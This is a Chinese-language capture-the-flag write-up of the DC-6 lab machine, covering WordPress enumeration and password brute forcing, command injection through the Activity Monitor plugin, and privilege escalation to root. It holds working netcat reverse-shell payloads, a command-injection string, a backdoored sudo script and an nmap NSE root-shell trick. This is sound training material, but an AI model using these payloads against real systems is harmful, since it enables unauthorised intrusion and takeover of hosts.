目錄
前期準備
一、滲透測試
1.IP地址查詢
2.端口信息搜尋
3.網頁信息搜集
wappalyzer
?WPScan
反彈shell
graham用戶
反彈出jens的shell
nmap提權
?二、總結
前期準備
攻擊機: kali windows11
靶機:DC-6靶機(調至NAT模式)
一、滲透測試
1.IP地址查詢
┌──(root?kali)-[~]
└─# arp-scan -l
通過比較MAC地址,可以得到靶機的IP地址為 192.168.105.164
2.端口信息搜尋
┌──(root?kali)-[~]
└─# nmap -sV -p- 192.168.105.164
可以看到又開了SSH,后面應該又要登錄
3.網頁信息搜集
訪問靶機的80端口
看起來又被重定向掉了?還記得之前打靶機的經驗,嘗試去改hosts文件
到:C:\Windows\System32\drivers\etc 下修改hosts文件(使用Notepad++打開)
?保存下網頁就能夠正常訪問了
wappalyzer
?WPScan
看到一個很熟悉的cms——WordPress,這是我們之前打過的一個cms,并且還記得相應的工具WPScan。直接上網上搜,發現了WordPress 5.1.1 的漏洞。邊看看網頁邊用dirseach掃一下目錄。但是由于我們是在windows的hosts文件中改的重定向,而用wpscan掃網站時用的是kali,所以還應該將kali中的hosts文件修改一下,在 /etc/hosts
┌──(root?kali)-[~]
└─# wpscan --url http://wordy -e u
?成功掃出來了一些賬號名(保存為user.txt)然后尤其關注登錄頁面
以及用dirsearch掃出來一些目錄
?
先嘗試到登錄界面去 /wp-login.php
這里缺密碼怎么辦?之前用到的工具是Cewl進行爬取從而得到密碼字典,這里也可以試試
成功得到一些密碼,保存為passwds.txt ,然后使用WPScan進行網站登錄爆破
┌──(root?kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt
可惜這樣并不能夠爆破成功,密碼沒匹配上。。。看了別的師傅的wp才知道官網給了密碼的提示
提示我們用kali中的字典并匹配含k01這樣的密碼,在該目錄下
發現rockyou還是個壓縮包,先解壓得到rockyou.txt文件
┌──(root?kali)-[/usr/share/wordlists]
└─# gzip rockyou.txt.gz -d
先回到dc-6目錄,根據官網提示給的命令得到密碼字典
┌──(root?kali)-[~/dc-6]
└─# cat /usr/share/wordlists/rockyou.txt | grep k01 > passwds.txt
然后再用wpscan進行爆破
┌──(root?kali)-[~/dc-6]
└─# wpscan --url http://wordy -U users.txt -P passwds.txt
最終只得到了一個賬號: mark helpdesk01 直接登錄!
好的,現在想一下如何getshell(用mark直接ssh登錄發現是不行的,權限不夠)getshell可以通過命令執行彈一個shell,或者是得到別的賬戶密碼再次嘗試SSH
(1)首先可以去看看網頁的功能,對一些可能的功能點進行測試
(2)可以看看WordPress 5.1.1 的歷史漏洞,看看是否能夠被利用
首先還是來看看WordPress 5.1.1 的漏洞,主要流傳的是CSRF-to-RCE的那個漏洞
但看起來并不能夠用于該靶機,只能在網頁上找功能點了,而且一般來說,找的應該是插件的漏洞了,看看這里有哪幾個插件
主要是這兩個插件, 看看有沒有什么歷史漏洞?
可以看到百度上成功搜到了 Activity Monitor的歷史漏洞,復現一下看看
這個地方看可以輸入IP,和以前遇到的CTF題有點像,當我輸入127.0.0.1 | ls -l 時,發現不能輸入了,這里應該是有長度限制,看看是不是前端的長度限制
嘗試只修改前端的檢查試試,將其改為100
可以看到命令直接執行了,接下來彈個shell
反彈shell
現在kali上打開監聽
nc -lvp 5555
然后在IP處輸入
127.0.0.1 | nc 192.168.105.148 5555 -e /bin/bash
?點擊執行就成功getshell了
然后用python開啟交互式終端
python -c "import pty;pty.spawn('/bin/bash')"
再就是到提權了,先試試以往的提權方法
www-data@dc-6:/var/www/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/bin/su
/bin/mount
/bin/umount
/bin/ping
然后直接問AI “請問哪些可以用于suid漏洞提權”? 但是看起來都不能利用,再試試 sudo -l,顯示需要輸入密碼,這個密碼也暫時是不知道的,只能再去看看別的一些用戶了,去home目錄下
www-data@dc-6:/home$ ls
ls
graham jens mark sarah
看看各個用戶下面有什么,說不定就有舊密碼可以用于爆破
www-data@dc-6:/home/jens$ ls
ls
backups.sh
有到一個shell執行程序,看看是用來干嘛的
www-data@dc-6:/home/jens$ cat backups.sh
cat backups.sh
#!/bin/bash
tar -czf backups.tar.gz /var/www/html
專門是用于解壓 /var/www/html下的 backups.tar.gz的(看起來就是打包網站的),先放這里,繼續看mark目錄下的stuff
www-data@dc-6:/home/mark/stuff$ cat things-to-do.txt
cat things-to-do.txt
Things to do:- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
這里寫了一系列的事項(類似于一個flag)
恢復超空間驅動器的全部功能(需要和jens聊聊)
為sarah的告別派對買禮物
加新用戶:graham - 密碼為 GSo7isUM1D4 - 已完成
申請 OSCP 課程
為接替sarah工作的人買一臺新筆記本電腦
此外在sarah目錄下并沒有找到文件,但是事項中畢竟給了graham的密碼,另開一個終端,看看ssh能不能登錄上
graham用戶
成功登錄上,看看graham能否提權
graham@dc-6:/home$ sudo -l
Matching Defaults entries for graham on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser graham may run the following commands on dc-6:(jens) NOPASSWD: /home/jens/backups.sh
此時輸入 sudo -l 就有反應了,用到的就是之前看到的那個執行程序(若想要無密碼執行這個文件,需要用jens的身份), 先想想需要用這個程序干什么,再想想怎么用。這個程序最多讓我們獲得jens的shell,既然這樣的話,不妨嘗試通過這個程序登上jens的賬戶。嘗試寫入反彈shell
反彈出jens的shell
graham@dc-6:/home/jens$ echo "nc 192.168.105.148 5556 -e /bin/bash" >> backups.sh
再打開kali的監聽
┌──(root?kali)-[~]
└─# nc -lvp 5556
然后用jens的身份運行該文件
graham@dc-6:/home/jens$ sudo -u jens ./backups.sh
此時就成功獲得jens用戶的shell了,此時再看jens用戶能不能提權
jens@dc-6:~$ sudo -l
sudo -l
Matching Defaults entries for jens on dc-6:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:(root) NOPASSWD: /usr/bin/nmap
?看到這里有nmap,并且也是免密碼運行的
jens@dc-6:/usr/bin$ ls -l nmap
ls -l nmap
-rwxr-xr-x 1 root root 2838168 Dec 22 2016 nmap
發現是root權限的,那就直接拿nmap來試試提權了,去百度搜索有關nmap的提權方式,發現有兩種
nmap提權
(1)低版本的nmap提權: 利用nmap的--interactive 進入交互式命令行執行,然后執行!/bin/bash就行
(2)高版本的nmap提權:首先將提權命令寫入腳本中,利用--script執行腳本
?echo "os.execute('/bin/bash')" > get_root.nse
?sudo nmap --script=get_root
這里應該就是用第二種了
jens@dc-6:~$ touch get_root.nse
touch get_root.nse
jens@dc-6:~$ ls
ls
backups.sh backups.tar.gz get_root.nse
jens@dc-6:~$ echo "os.execute('/bin/bash')" > get_root.nse
echo "os.execute('/bin/bash')" > get_root.nse
jens@dc-6:~$ cat get_root.nse
cat get_root.nse
os.execute('/bin/bash')
成功寫入,接下來運行
jens@dc-6:~$ sudo nmap --script=get_root.nse
sudo nmap --script=get_root.nseStarting Nmap 7.40 ( https://nmap.org ) at 2025-02-14 20:52 AEST
root@dc-6:/home/jens#
成功提權到root!
root@dc-6:~# cat theflag.txtYb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8bYb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8PYbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"'YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8)Congratulations!!!Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.If you enjoyed this CTF, send me a tweet via @DCAU7.
?二、總結
(1)本次學習了nmap的提權方式,并且溫習了下WPScan的用法,相比于主動去找插件的漏洞,感覺WPScan應該也能掃出來(感覺)